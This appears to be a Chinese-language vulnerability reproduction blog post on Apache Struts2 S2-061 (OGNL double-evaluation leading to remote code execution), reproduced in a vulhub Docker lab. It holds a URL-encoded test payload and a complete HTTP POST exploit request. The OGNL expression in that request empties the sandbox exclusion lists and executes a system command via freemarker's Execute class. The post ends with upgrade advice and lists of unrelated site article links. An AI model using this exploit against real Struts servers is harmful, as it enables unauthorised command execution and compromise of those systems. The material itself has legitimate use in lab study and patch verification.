0x01 漏洞简介

Struts在某些情况下可能存在OGNL表达式注入漏洞,如果开发人员使用了 %{…} 语法进行强制OGNL解析,某些特殊的TAG属性可能会被双重解析。攻击者可以通过构造恶意的OGNL表达式来利用此漏洞,最终造成远程代码执行

0x02 漏洞影响

apache:struts2:2.0.0 - 2.5.25

0x03 环境搭建

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

下载docker-compose.yml后cd到文件夹,使用docker-compose up -d进行安装,安装完后访问ip:8080进入环境,使用docker-compose down关闭环境

0x04 漏洞复现

首先先测试一下漏洞是否存在

payload:?id=%25%7b+%27fuxian%27+%2b+(2000+%2b+21).toString()%7d

原语句:%{ 'fuxian' + (2000 + 21).toString()}

最后可以看到html标签a的id为fuxian2021,说明Struts2将语句给解析了,构成了RCE



exp:

POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

将数据包使用burpsuite的重放器来提交,注意修改host的值



可以看到有输出语句



通过修改payload来执行不同的语句

0x05 修复建议

避免对不受信任的用户输入使用强制OGNL评估,或/和升级到2.5.26版,可修复该漏洞。腾讯安全专家建议受影响的用户将Apache Struts框架升级至最新版本临时修复,升级到 Struts 2.5.26 版本,下载地址为:

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26

最新文章

  1. 腾达和小云无线路由中继(WISP)解决
  2. Java核心技术点之泛型
  3. deep learning 的综述
  4. shell中的流程控制
  5. ios tweak之binary not signed (use ldid -S)问题解决
  6. 《Genesis-3D开源游戏引擎完整实例教程-跑酷游戏篇06:移动版优化指南》--本系列完结
  7. POJ 1503 Integer Inquiry 简单大数相加
  8. new Date().getTime()
  9. javascript 简单实现对两个数组相似度的检验
  10. Linux添加硬盘和挂载
  11. SQL构架(转)
  12. spring使用之旅(一) ---- bean的装配
  13. pyqt4 写动画不能播放问题集合
  14. Python内置函数(3)——any
  15. Axis接口
  16. CentOS 7上安装PGI 2017编译器
  17. java 大数处理
  18. python操作Hbase
  19. Phthon3.4 新特性
  20. 伪数组 arguments

热门文章

  1. DVWA-全等级SQL注入(显注)
  2. MATLAB—命令窗、文件夹、路径、工作内存区、帮助系统
  3. BZOJ 4826 影魔
  4. http扩展小插件
  5. 十七:使用JDBC处理MySQL大数据
  6. qt 中的画图
  7. mongodb重启报错解决
  8. ES6扩展——字符串部分新的方法
  9. BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz
  10. JavaWeb使用Filter进行字符编码过滤 预防web服务中文乱码